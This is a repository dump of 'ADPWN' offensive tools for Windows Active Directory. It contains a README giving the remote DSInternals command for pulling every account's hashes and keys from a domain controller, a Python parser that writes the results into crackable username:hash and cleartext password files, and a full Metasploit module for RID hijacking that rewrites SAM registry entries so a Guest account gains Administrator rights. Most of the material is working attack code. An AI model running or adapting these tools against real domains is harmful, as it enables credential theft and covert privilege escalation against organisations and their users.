├── README.md ├── dsinternals └── DSInternals_v2.22.zip ├── dsinternalsparser ├── README.md └── dsinternalsparser.py └── rid_hijacking ├── README └── rid_hijack.rb /README.md: -------------------------------------------------------------------------------- 1 | # ADPWN Tools 2 | 3 | 4 | Useful tools for Windows AD explotaition and pwning. For more information, you can send me a mail: *r4wd3r at gmail dot com* 5 | 6 | 7 | 8 | ## dsinternalsparser.py 9 | This tool makes easy and faster the dumping process of hashes stored in a *domain controller*. 10 | 11 | ``` 12 | ----------------------- 13 | DSInternals Parser v1.1 14 | ----------------------- 15 | 16 | usage: dsinternalsparser.py [-h] [-o OUTPUT] [--ntlm] [--nthistory] [--lm] 17 | [--lmhistory] [--cleartext] [--wdigest] 18 | input_file 19 | ``` 20 | 21 | -------------------------------------------------------------------------------- /dsinternals/DSInternals_v2.22.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r4wd3r/ADPWN/cc433e307f6bdd306c5344fa4950b4cc9489caf7/dsinternals/DSInternals_v2.22.zip -------------------------------------------------------------------------------- /dsinternalsparser/README.md: -------------------------------------------------------------------------------- 1 | # dsinternalsparser.py 2 | 3 | This tool makes easier and faster the dumping process of hashes stored in a *domain controller*. 4 | 5 | ``` 6 | ----------------------- 7 | DSInternals Parser v1.1 8 | ----------------------- 9 | 10 | usage: dsinternalsparser.py [-h] [-o OUTPUT] [--ntlm] [--nthistory] [--lm] 11 | [--lmhistory] [--cleartext] [--wdigest] 12 | input_file 13 | 14 | Parses a Get-ADReplAccount generated file to extract credentials data, 15 | including hashes. 16 | 17 | positional arguments: 18 | input_file File to process, generated by Get-ADReplAccount of 19 | DSInternals 20 | 21 | optional arguments: 22 | -h, --help show this help message and exit 23 | -o OUTPUT, --output OUTPUT 24 | Prefix name for output files. 25 | --ntlm Generate the file with username and current NTLM hash. 26 | --nthistory Generate the file with username and history NTLM 27 | hashes. 28 | --lm Generate the file with username and current LM hash. 29 | --lmhistory Generate the file with username and history LM hashes. 30 | --cleartext Generate the file with existent users that have 31 | ClearText password. 32 | --wdigest Generate the file with existent users that have 33 | Wdigest password. 34 | 35 | ``` 36 | 37 | 38 | It uses the output of the **DSInternals** modules that retreives *reversibly encrypted plaintext passwords, password hashes and Kerberos keys* of all user accounts from domain controllers. 39 | 40 | As mentioned in [DSInternals web page](https://www.dsinternals.com/en/), it is possible to retrieve hashes remotely, instead of the well known method using *vssadmin, ESEDBTOOLS and NTDSXtract*, pretty slow in some cases because of the **NTDS.dit** size, *ESEDBTOOLS* misconfigurations, etc. 41 | 42 | To extract the hashes remotely: 43 | 44 | 1. Retrieve all users attributes with the **DSinternals** module *Get-ADReplAccount*, and save it to a local file. 45 | ``` 46 | Get-ADReplAccount -All -NamingContext 'DC=Example,DC=com' -Server DC1 -Credential $cred >> localfile.txt 47 | ``` 48 | The file generated has a format similar to the next one. 49 | ``` 50 | DistinguishedName: CN=April Reagan,OU=IT,DC=Adatum,DC=com 51 | Sid: S-1-5-21-3180365339-800773672-3767752645-1375 52 | Guid: 124ae098-699b-4450-a47a-314a29cc90ea 53 | SamAccountName: April 54 | SamAccountType: User 55 | UserPrincipalName: April@adatum.com 56 | PrimaryGroupId: 513 57 | SidHistory: 58 | Enabled: True 59 | Deleted: False 60 | LastLogon: 61 | DisplayName: April Reagan 62 | GivenName: April 63 | Surname: Reagan 64 | Description: 65 | NTHash: 92937945b518814341de3f726500d4ff 66 | LMHash: 727e3576618fa1754a3b108f3fa6cb6d 67 | NTHashHistory: 68 | Hash 01: 92937945b518814341de3f726500d4ff 69 | Hash 02: 1d3da193d2f45911a6f0fa940b9fb32f 70 | Hash 03: 402bc59d8a00641b7f386e78596340f4 71 | LMHashHistory: 72 | Hash 01: 727e3576618fa1754a3b108f3fa6cb6d 73 | Hash 02: 5a5503d0e85f58abaad3b435b51404ee 74 | Hash 03: f9393d97e7a1873caad3b435b51404ee 75 | SupplementalCredentials: 76 | ClearText: Pa$$w0rd 77 | Kerberos: 78 | Credentials: 79 | DES_CBC_MD5 80 | Key: 76fe3b5bda911a40 81 | OldCredentials: 82 | DES_CBC_MD5 83 | Key: 7f8c4f38e0ea0b80 84 | Salt: ADATUM.COMApril 85 | Flags: 0 86 | KerberosNew: 87 | Credentials: 88 | AES256_CTS_HMAC_SHA1_96 89 | Key: 3a3b6a89bb82d112db5ef68f6db5d1afc2b806df61dcd85e3eacf3b85ee382d8 90 | Iterations: 4096 91 | AES128_CTS_HMAC_SHA1_96 92 | Key: a72c8bc96c4a6f03244f0b0067a1e440 93 | Iterations: 4096 94 | DES_CBC_MD5 95 | Key: 76fe3b5bda911a40 96 | Iterations: 4096 97 | OldCredentials: 98 | AES256_CTS_HMAC_SHA1_96 99 | Key: 14e46244a59a37cd8aa7c1fe61896441c7d065fafe4874191e69c1fe28856810 100 | Iterations: 4096 101 | AES128_CTS_HMAC_SHA1_96 102 | Key: 034b512ec64286dec951d6aff8d81fa8 103 | Iterations: 4096 104 | DES_CBC_MD5 105 | Key: 7f8c4f38e0ea0b80 106 | Iterations: 4096 107 | OlderCredentials: 108 | AES256_CTS_HMAC_SHA1_96 109 | Key: 2387ca8f936c8c154996809af8fee7c47fe4b9b5dd84d051fc43a9289bbaa3ab 110 | Iterations: 4096 111 | AES128_CTS_HMAC_SHA1_96 112 | Key: 29d536ec057f9063747161429b81f056 113 | Iterations: 4096 114 | DES_CBC_MD5 115 | Key: 58f1cbe6e50e1f83 116 | Iterations: 4096 117 | ServiceCredentials: 118 | Salt: ADATUM.COMApril 119 | DefaultIterationCount: 4096 120 | Flags: 0 121 | WDigest: 122 | Hash 01: c3d012ab1101eb8f51b483fb4c5f8a7e 123 | Hash 02: c993da396914645b356ae7816251fcb1 124 | Hash 03: 6b58530cab34de91189a603e22c2be15 125 | Hash 04: c3d012ab1101eb8f51b483fb4c5f8a7e 126 | Hash 05: 5a762cf59fa31023dcba1ebd4725b443 127 | Hash 06: c78bac91c0ba25cae5d44460fd65a73b 128 | Hash 07: 59d73cea16afd1aac6bf8acfa2768621 129 | Hash 08: d2be383db9469a39736d9e2136054131 130 | Hash 09: 079de9f4d94d97a80f1726497dfd1cc2 131 | Hash 10: 85dbe1549d5fbfcc91f7fe5ac5910f52 132 | Hash 11: 961a36bded5535b8fc15b4b8e6c48b93 133 | Hash 12: 6ac8a60d83e9ae67c2097db716a6af17 134 | Hash 13: e899e577d5f81ef5288ab67de07fad9a 135 | Hash 14: 135452ab86d40c3d47ca849646d5e176 136 | Hash 15: a84c367eaa334d0a4cb98e36da011e0f 137 | Hash 16: 61a458eb70440b1a92639452f0c2c948 138 | Hash 17: 238f4059776c3575be534afb46be4ccf 139 | Hash 18: 03ddf370064c544e9c6dbb6ccbf8f4ac 140 | Hash 19: 354dd6c77ccf35f63e48cd5af6473ccf 141 | Hash 20: 5f9800d734ebe9fb588def6aaafc40b7 142 | Hash 21: 59aab99ebcddcbf13b96d75bb7a731e3 143 | Hash 22: f1685383b0c131035ae264ee5bd24a8d 144 | Hash 23: 3119e42886b01cad00347e72d0cee594 145 | Hash 24: ebef7f2c730e17ded8cba1ed20122602 146 | Hash 25: 7d99673c9895e0b9c484e430578ee78e 147 | Hash 26: e1e20982753c6a1140c1a8241b23b9ea 148 | Hash 27: e5ec1c63e0e549e49cda218bc3752051 149 | Hash 28: 26f2d85f7513d73dd93ab3afd2d90cf6 150 | Hash 29: 84010d657e6b58ce233fae2bd7644222 151 | ``` 152 | 2. Parse the localfile with dsinternaslparser.py 153 | ``` 154 | ./dsinternalsparser.py -o dump localfile.txt 155 | ``` 156 | 3. After execution, if no options are given, **dsinternalsparser.py** creates 6 files. 157 | * **NTLM File** (*dump_ntlm.txt*): Contains username and current NTLM Hash. 158 | * **NTLM History File** (*dump_ntlm_history.txt*): Contains username and NTLM History Hashes. 159 | * **LM File** (*dump_lm.txt*): Contains username and current LM Hash. 160 | * **Cleartext File** (*dump_cleartext.txt*): Contains username and Cleartext password, if exists. 161 | * **NTLM History File** (*dump_wdigest.txt*): Contains username and WDigest history Hashes. 162 | 163 | 164 | For more information: 165 | 166 | * [Retrieving Active Directory Passwords Remotely](https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/) 167 | 168 | 169 | ## Installation 170 | ### Requirements 171 | * Python 2.7 environment 172 | * DSInternals output file generated with Get-ADReplAccount or Get-ADDBAccount. 173 | ### Downloading 174 | To download the script, simply download and execute it on a terminal. 175 | ``` 176 | wget https://raw.githubusercontent.com/r4wd3r/ADPWN/master/dsinternalsparser/dsinternalsparser.py 177 | chmod 755 dsinternalsparser.py 178 | ``` 179 | -------------------------------------------------------------------------------- /dsinternalsparser/dsinternalsparser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | ''' 5 | @author: r4wd3r 6 | @license: GNU General Public License 2.0 or later 7 | @contact: r4wd3r@gmail.com 8 | ''' 9 | 10 | import argparse 11 | import re 12 | 13 | import codecs 14 | 15 | 16 | class User(): 17 | ''' 18 | Class used to store the users and process their info 19 | ''' 20 | 21 | def __init__(self): 22 | self.distinguishedname = "" 23 | self.sid = "" 24 | self.samaccountname = "" 25 | self.samaccounttype = "" 26 | self.deleted = False 27 | self.enabled = True 28 | self.lastlogon = "" 29 | self.displayname = "" 30 | self.givenname = "" 31 | self.surname = "" 32 | self.nthash = "" 33 | self.lmhash = "" 34 | self.nthistory = [] # Defined as property. It is set wihtout append. 35 | self.lmhistory = [] # Defined as property. It is set wihtout append. 36 | self.cleartext = "" 37 | self.wdigest = [] # Defined as property. It is set wihtout append. 38 | 39 | @property 40 | def distinguishedname(self): 41 | return self.distinguishedname 42 | 43 | @distinguishedname.setter 44 | def distinguishedname(self, value): 45 | self.distinguishedname = value 46 | 47 | @property 48 | def sid(self): 49 | return self.sid 50 | 51 | @sid.setter 52 | def sid(self, value): 53 | self.sid = value 54 | 55 | @property 56 | def samaccountname(self): 57 | return self.samaccountname 58 | 59 | @samaccountname.setter 60 | def samaccountname(self, value): 61 | self.samaccountname = value 62 | 63 | @property 64 | def samaccounttype(self): 65 | return self.samaccounttype 66 | 67 | @samaccounttype.setter 68 | def samaccounttype(self, value): 69 | self.samaccounttype = value 70 | 71 | @property 72 | def deleted(self): 73 | return self.sid 74 | 75 | @deleted.setter 76 | def deleted(self, value): 77 | self.deleted = value 78 | 79 | @property 80 | def enabled(self): 81 | return self.enabled 82 | 83 | @enabled.setter 84 | def enabled(self, value): 85 | self.enabled = value 86 | 87 | @property 88 | def lastlogon(self): 89 | return self.lastlogon 90 | 91 | @lastlogon.setter 92 | def lastlogon(self, value): 93 | self.lastlogon = value 94 | 95 | @property 96 | def displayname(self): 97 | return self.displayname 98 | 99 | @displayname.setter 100 | def displayname(self, value): 101 | self.displayname = value 102 | 103 | @property 104 | def givenname(self): 105 | return self.givenname 106 | 107 | @givenname.setter 108 | def givenname(self, value): 109 | self.givenname = value 110 | 111 | @property 112 | def surname(self): 113 | return self.surname 114 | 115 | @surname.setter 116 | def surname(self, value): 117 | self.surname = value 118 | 119 | @property 120 | def nthash(self): 121 | return self.nthash 122 | 123 | @nthash.setter 124 | def nthash(self, value): 125 | self.nthash = value 126 | 127 | @property 128 | def lmhash(self): 129 | return self.lmhash 130 | 131 | @lmhash.setter 132 | def lmhash(self, value): 133 | self.lmhash = value 134 | 135 | @property 136 | def cleartext(self): 137 | return self.cleartext 138 | 139 | @cleartext.setter 140 | def cleartext(self, value): 141 | self.cleartext = value 142 | 143 | @property 144 | def nthistory(self): 145 | return self.nthistory 146 | 147 | @nthistory.setter 148 | def nthistory(self, value): 149 | self.nthistory = value 150 | 151 | @property 152 | def lmhistory(self): 153 | return self.lmhistory 154 | 155 | @lmhistory.setter 156 | def lmhistory(self, value): 157 | self.lmhistory = value 158 | 159 | @property 160 | def wdigest(self): 161 | return self.wdigest 162 | 163 | @wdigest.setter 164 | def wdigest(self, value): 165 | self.wdigest = value 166 | 167 | 168 | def processFile(filename): 169 | ''' 170 | :param filename: Receives the text file generated by Get-ADReplAccount and process it 171 | :return: Returns the list of objects "User", based on the class "User" 172 | ''' 173 | 174 | # TODO: Parse the Kerberos Hashes. 175 | 176 | users_list = [] 177 | current_user = User() 178 | hash_pattern = re.compile('.*Hash\s[0-9]*.*') 179 | 180 | try: 181 | f = open(filename, 'rt', encoding='utf-8', errors='replace') 182 | lines = f.readlines() 183 | f.close() 184 | except: 185 | print ( 186 | 'ERROR: Cannot open the file ' + filename + '. Make sure it exists and it\'s readable, at least by a monkey!') 187 | return None 188 | for i in xrange(len(lines)): 189 | # To determine if is found a new user on the file, the string DistinguishedName: is used. 190 | # When matched, always begins a block of a new user data lines 191 | 192 | if "DistinguishedName:" in lines[i] and current_user.distinguishedname == "": 193 | _temp = lines[i].split(':') 194 | current_user.distinguishedname = str(_temp[1]).rstrip() 195 | 196 | elif "DistinguishedName:" in lines[i] and current_user.distinguishedname != "": 197 | users_list.append(current_user) 198 | current_user = User() 199 | _temp = lines[i].split(':') 200 | current_user.distinguishedname = str(_temp[1]).strip() 201 | 202 | elif "Sid:" in lines[i]: 203 | _temp = lines[i].split(':') 204 | current_user.sid = str(_temp[1]).strip() 205 | 206 | elif "SamAccountName:" in lines[i]: 207 | _temp = lines[i].split(':') 208 | current_user.samaccountname = str(_temp[1]).strip() 209 | 210 | elif "SamAccountType:" in lines[i]: 211 | _temp = lines[i].split(':') 212 | current_user.samaccounttype = str(_temp[1]).strip() 213 | 214 | # Saves enabled as string 215 | elif "Enabled:" in lines[i]: 216 | _temp = lines[i].split(':') 217 | current_user.enabled = str(_temp[1]).strip() 218 | 219 | # Saves deleted as String 220 | elif "Deleted:" in lines[i]: 221 | _temp = lines[i].split(':') 222 | current_user.deleted = str(_temp[1]).strip() 223 | 224 | elif "LastLogon:" in lines[i]: 225 | _temp = lines[i].split(':') 226 | current_user.lastlogon = str(_temp[1]).strip() 227 | 228 | elif "DisplayName:" in lines[i]: 229 | _temp = lines[i].split(':') 230 | current_user.displayname = str(_temp[1]).strip() 231 | 232 | elif "GivenName:" in lines[i]: 233 | _temp = lines[i].split(':') 234 | current_user.givenname = str(_temp[1]).strip() 235 | 236 | elif "Surname:" in lines[i]: 237 | _temp = lines[i].split(':') 238 | current_user.surname = str(_temp[1]).strip() 239 | 240 | elif "NTHash:" in lines[i]: 241 | _temp = lines[i].split(':') 242 | current_user.nthash = str(_temp[1]).strip() 243 | 244 | elif "LMHash:" in lines[i]: 245 | _temp = lines[i].split(':') 246 | current_user.lmhash = str(_temp[1]).strip() 247 | 248 | elif "ClearText:" in lines[i]: 249 | _temp = lines[i].split(':') 250 | current_user.cleartext = str(_temp[1]).strip() 251 | 252 | elif "NTHashHistory:" in lines[i]: 253 | # Creates the list nthistory, and then is assigned to user.nthistory list 254 | i += 1 255 | nthistory = [] 256 | while hash_pattern.match(str(lines[i])): 257 | _temp = lines[i].split(':') 258 | nthistory.append(str(_temp[1]).strip()) 259 | i += 1 260 | current_user.nthistory = nthistory 261 | 262 | elif "LMHashHistory:" in lines[i]: 263 | # Creates the list lmhistory, and then is assigned to user.lmhistory list 264 | i += 1 265 | lmhistory = [] 266 | while hash_pattern.match(str(lines[i])): 267 | _temp = lines[i].split(':') 268 | lmhistory.append(str(_temp[1]).strip()) 269 | i += 1 270 | current_user.lmhistory = lmhistory 271 | 272 | elif "WDigest:" in lines[i]: 273 | # Creates the list wdigest, and then is assigned to user.wdigest list 274 | i += 1 275 | wdigest = [] 276 | while hash_pattern.match(str(lines[i])): 277 | _temp = lines[i].split(':') 278 | wdigest.append(str(_temp[1]).strip()) 279 | i += 1 280 | current_user.wdigest = wdigest 281 | 282 | users_list.append(current_user) # Appends the last user, without using the string DistinguishedName 283 | print ".........................................................OK" 284 | 285 | return users_list 286 | 287 | 288 | def writeClearTextFile(users_list, output): 289 | ''' 290 | :param users_list: List of users created by the method processFile 291 | :param output: Name of the output file 292 | :return: Creates the cleartext file (username:password) 293 | ''' 294 | print "\nCreating ClearTextFile..." 295 | filename = output + "_cleartext.txt" 296 | try: 297 | f = codecs.open(filename, "w", "utf-8") 298 | except: 299 | print "ERROR: Cannot create the cleartext file." 300 | print "Writing user (0/%d)" % (len(users_list)), 301 | for i in xrange(len(users_list)): 302 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 303 | if users_list[i].cleartext != "" and users_list[i].cleartext != " ": 304 | f.writelines(users_list[i].samaccountname + ":" + users_list[i].cleartext + '\n') 305 | print ".........................................................OK" 306 | print "[+] ClearText File: %s successfully created." % (filename) 307 | 308 | 309 | def writeNTLMFile(users_list, output): 310 | ''' 311 | :param users_list: List of users created by the method processFile 312 | :param output: Name of the output file 313 | :return: Creates the NTLM file (username:password) 314 | ''' 315 | print "\nCreating NTLM File..." 316 | filename = output + "_ntlm.txt" 317 | try: 318 | f = codecs.open(filename, "w", "utf-8") 319 | except: 320 | print "ERROR: Cannot create the cleartext file." 321 | 322 | print "Writing user (0/%d)" % (len(users_list)), 323 | for i in xrange(len(users_list)): 324 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 325 | f.writelines(users_list[i].samaccountname + ":" + users_list[i].nthash + '\n') 326 | print ".........................................................OK" 327 | print "[+] NTLM File: %s successfully created." % (filename) 328 | 329 | 330 | def writeNTLMHistoryFile(users_list, output): 331 | ''' 332 | :param users_list: List of users created by the method processFile 333 | :param output: Name of the output file 334 | :return: Creates the NTLMHistory file (username_nthistory[0-n]:hash) 335 | ''' 336 | print "\nCreating NTLM History File..." 337 | filename = output + "_ntlm_history.txt" 338 | try: 339 | f = codecs.open(filename, "w", "utf-8") 340 | except: 341 | print "ERROR: Cannot create the NTLM History file." 342 | 343 | print "Writing user (0/%d)" % (len(users_list)), 344 | for i in xrange(len(users_list)): 345 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 346 | for j in xrange(len(users_list[i].nthistory)): 347 | f.writelines(users_list[i].samaccountname + "_nthistory" + str(j) + ":" + users_list[i].nthistory[j] + '\n') 348 | print ".........................................................OK" 349 | print "[+] NTLM History File: %s successfully created." % (filename) 350 | 351 | 352 | def writeLMFile(users_list, output): 353 | ''' 354 | :param users_list: List of users created by the method processFile 355 | :param output: Name of the output file 356 | :return: Creates the NTLM file (username:password) 357 | ''' 358 | print "\nCreating LM File..." 359 | filename = output + "_lm.txt" 360 | try: 361 | f = codecs.open(filename, "w", "utf-8") 362 | except: 363 | print "ERROR: Cannot create the cleartext file." 364 | 365 | print "Writing user (0/%d)" % (len(users_list)), 366 | for i in xrange(len(users_list)): 367 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 368 | if users_list[i].cleartext != "" and users_list[i].cleartext != " ": 369 | f.writelines(users_list[i].samaccountname + ":" + users_list[i].lmhash + '\n') 370 | print ".........................................................OK" 371 | print "[+] LM File: %s successfully created." % (filename) 372 | 373 | 374 | def writeLMHistoryFile(users_list, output): 375 | ''' 376 | :param users_list: List of users created by the method processFile 377 | :param output: Name of the output file 378 | :return: Creates the LMHistory file (username_lmhistory[0-n]:hash) 379 | ''' 380 | print "\nCreating LM History File..." 381 | filename = output + "_lm_history.txt" 382 | try: 383 | f = codecs.open(filename, "w", "utf-8") 384 | except: 385 | print "ERROR: Cannot create the LM History file." 386 | 387 | print "Writing user (0/%d)" % (len(users_list)), 388 | for i in xrange(len(users_list)): 389 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 390 | for j in xrange(len(users_list[i].lmhistory)): 391 | f.writelines(users_list[i].samaccountname + "_lmhistory" + str(j) + ":" + users_list[i].lmhistory[j] + '\n') 392 | print ".........................................................OK" 393 | print "[+] LM History File: %s successfully created." % (filename) 394 | 395 | 396 | def writeWDigestFile(users_list, output): 397 | ''' 398 | :param users_list: List of users created by the method processFile 399 | :param output: Name of the output file 400 | :return: Creates the wdigest file (username_wdhistory[0-n]:hash) 401 | ''' 402 | print "\nCreating WDigest History File..." 403 | filename = output + "_wdigest.txt" 404 | try: 405 | f = codecs.open(filename, "w", "utf-8") 406 | except: 407 | print "ERROR: Cannot create the wdigest file." 408 | print "Writing user (0/%d)" % (len(users_list)), 409 | for i in xrange(len(users_list)): 410 | print "\rWriting user (%d/%d)" % (i + 1, len(users_list)), 411 | for j in xrange(len(users_list[i].wdigest)): 412 | f.writelines(users_list[i].samaccountname + "_wdhistory" + str(j) + ":" + users_list[i].wdigest[j] + '\n') 413 | print ".........................................................OK" 414 | print "[+] WDigest File: %s successfully created." % (filename) 415 | 416 | 417 | def main(): 418 | print "-----------------------" 419 | print "DSInternals Parser v1.1" 420 | print "-----------------------\n" 421 | 422 | parser = argparse.ArgumentParser( 423 | description="Parses a Get-ADReplAccount generated file to extract credentials data, including hashes.") 424 | parser.add_argument("input_file", help='File to process, generated by Get-ADReplAccount of DSInternals', type=str) 425 | parser.add_argument('-o', '--output', help='Prefix name for output files.', type=str, default="output") 426 | parser.add_argument('--ntlm', help='Generate the file with username and current NTLM hash.', action="store_true") 427 | parser.add_argument('--nthistory', help='Generate the file with username and history NTLM hashes.', 428 | action="store_true") 429 | parser.add_argument('--lm', help='Generate the file with username and current LM hash.', action="store_true") 430 | parser.add_argument('--lmhistory', help='Generate the file with username and history LM hashes.', 431 | action="store_true") 432 | parser.add_argument('--cleartext', help='Generate the file with existent users that have ClearText password.', 433 | action="store_true") 434 | parser.add_argument('--wdigest', help='Generate the file with existent users that have Wdigest password.', 435 | action="store_true") 436 | 437 | args = parser.parse_args() 438 | 439 | filename = args.input_file 440 | output = args.output 441 | print "Reading file...", 442 | users_list = processFile(filename) 443 | 444 | if not args.ntlm and not args.nthistory and not args.lm and not args.lmhistory and not args.cleartext and not args.wdigest: 445 | writeNTLMFile(users_list, output) 446 | writeNTLMHistoryFile(users_list, output) 447 | writeLMFile(users_list, output) 448 | writeLMHistoryFile(users_list, output) 449 | writeClearTextFile(users_list, output) 450 | writeWDigestFile(users_list, output) 451 | 452 | if args.ntlm: 453 | writeNTLMFile(users_list, output) 454 | if args.nthistory: 455 | writeNTLMHistoryFile(users_list, output) 456 | if args.lm: 457 | writeLMFile(users_list, output) 458 | if args.lmhistory: 459 | writeLMHistoryFile(users_list, output) 460 | if args.cleartext: 461 | writeClearTextFile(users_list, output) 462 | if args.wdigest: 463 | writeWDigestFile(users_list, output) 464 | 465 | 466 | main() 467 | -------------------------------------------------------------------------------- /rid_hijacking/README: -------------------------------------------------------------------------------- 1 | For more details, refer to: 2 | 3 | http://csl.com.co/rid-hijacking/ 4 | -------------------------------------------------------------------------------- /rid_hijacking/rid_hijack.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Post 7 | include Msf::Post::Windows::Registry 8 | include Msf::Post::Windows::Priv 9 | 10 | def initialize 11 | super( 12 | 'Name' => 'Windows Manage RID Hijacking', 13 | 'Description' => %q{ 14 | This module will create an entry on the target by modifying some properties 15 | of an existing account. It will change the account attributes by setting a 16 | Relative Identifier (RID), which should be owned by one existing 17 | account on the destination machine. 18 | 19 | Taking advantage of some Windows Local Users Management integrity issues, 20 | this module will allow to authenticate with one known account 21 | credentials (like GUEST account), and access with the privileges of another 22 | existing account (like ADMINISTRATOR account), even if the spoofed account is 23 | disabled. 24 | }, 25 | 'License' => MSF_LICENSE, 26 | 'Author' => 'Sebastian Castro ', 27 | 'Platform' => ['win'], 28 | 'SessionTypes' => ['meterpreter'], 29 | 'References' => [ 30 | ['URL', 'http://csl.com.co/rid-hijacking/'] 31 | ]) 32 | 33 | register_options( 34 | [ 35 | OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]), 36 | OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]), 37 | OptString.new('USERNAME', [false, 'User to set the defined RID.']), 38 | OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']), 39 | OptInt.new('RID', [true, 'RID to set to the specified account.', 500]) 40 | ] 41 | ) 42 | end 43 | 44 | def getsystem 45 | results = session.priv.getsystem 46 | if results[0] 47 | return true 48 | else 49 | return false 50 | end 51 | end 52 | 53 | def get_name_from_rid(reg_key, rid, names_key) 54 | names_key.each do |name| 55 | skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "") 56 | rid_user = skey['Type'] 57 | return name if rid_user == rid 58 | end 59 | return nil 60 | end 61 | 62 | def get_user_rid(reg_key, username, names_key) 63 | names_key.each do |name| 64 | next unless name.casecmp(username).zero? 65 | print_good("Found #{name} account!") 66 | skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "") 67 | rid = skey['Type'] 68 | if !skey 69 | print_error("Could not open user's key") 70 | return -1 71 | end 72 | return rid 73 | end 74 | return -1 75 | end 76 | 77 | def check_active(fbin) 78 | if fbin[0x38].unpack("H*")[0].to_i != 10 79 | return true 80 | else 81 | return false 82 | end 83 | end 84 | 85 | def swap_rid(fbin, rid) 86 | # This function will set hex format to a given RID integer 87 | hex = [format("%04x", rid).scan(/.{2}/).reverse.join].pack("H*") 88 | # Overwrite new RID at offset 0x30 89 | fbin[0x30, 2] = hex 90 | return fbin 91 | end 92 | 93 | def run 94 | # Registry key to manipulate 95 | reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users' 96 | 97 | # Checks privileges of the session, and tries to get SYSTEM privileges if needed. 98 | print_status("Checking for SYSTEM privileges on session") 99 | if !is_system? 100 | if datastore['GETSYSTEM'] 101 | print_status("Trying to get SYSTEM privileges") 102 | if getsystem 103 | print_good("Got SYSTEM privileges") 104 | else 105 | print_error("Could not obtain SYSTEM privileges") 106 | return 107 | end 108 | else 109 | print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ") 110 | return 111 | end 112 | else 113 | print_good("Session is already running with SYSTEM privileges") 114 | end 115 | 116 | # Checks the Windows Version. 117 | wver = sysinfo["OS"] 118 | print_status("Target OS: #{wver}") 119 | 120 | # Load the usernames from SAM Registry key 121 | names_key = registry_enumkeys(reg_key + '\\Names') 122 | unless names_key 123 | print_error("Could not access to SAM registry keys") 124 | return 125 | end 126 | 127 | # If username is set, looks for it in SAM registry key 128 | user_rid = -1 129 | username = datastore['USERNAME'] 130 | if datastore['GUEST_ACCOUNT'] 131 | user_rid = 0x1f5 132 | print_status("Target account: Guest Account") 133 | username = get_name_from_rid(reg_key, user_rid, names_key) 134 | else 135 | if datastore['USERNAME'].to_s.empty? 136 | print_error("You must set an username or enable GUEST_ACCOUNT option") 137 | return 138 | end 139 | print_status('Checking users...') 140 | user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key) 141 | end 142 | 143 | # Result of the RID harvesting 144 | if user_rid == -1 145 | print_error("Could not find the specified username") 146 | return 147 | else 148 | print_status("Target account username: #{username}") 149 | print_status("Target account RID: #{user_rid}") 150 | end 151 | 152 | # Search the Registry associated to the user's RID and overwrites it 153 | users_key = registry_enumkeys(reg_key) 154 | users_key.each do |r| 155 | next if r.to_i(16) != user_rid 156 | f = registry_getvaldata(reg_key + "\\#{r}", "F") 157 | if check_active(f) 158 | print_status("Account is disabled, activating...") 159 | f[0x38] = ["10"].pack("H") 160 | print_good("Target account enabled") 161 | else 162 | print_good("Target account is already enabled") 163 | end 164 | 165 | print_status("Overwriting RID") 166 | # Overwrite RID to specified RID 167 | f = swap_rid(f, datastore['RID']) 168 | 169 | open_key = registry_setvaldata(reg_key + "\\#{r}", "F", f, "REG_BINARY") 170 | unless open_key 171 | print_error("Can't write to registry... Something's wrong!") 172 | return -1 173 | end 174 | print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}") 175 | end 176 | # If set, changes the specified username's password 177 | if datastore['PASSWORD'] 178 | print_status("Setting #{username} password to #{datastore['PASSWORD']}") 179 | cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}") 180 | vprint_status(cmd.to_s) 181 | end 182 | end 183 | end 184 | --------------------------------------------------------------------------------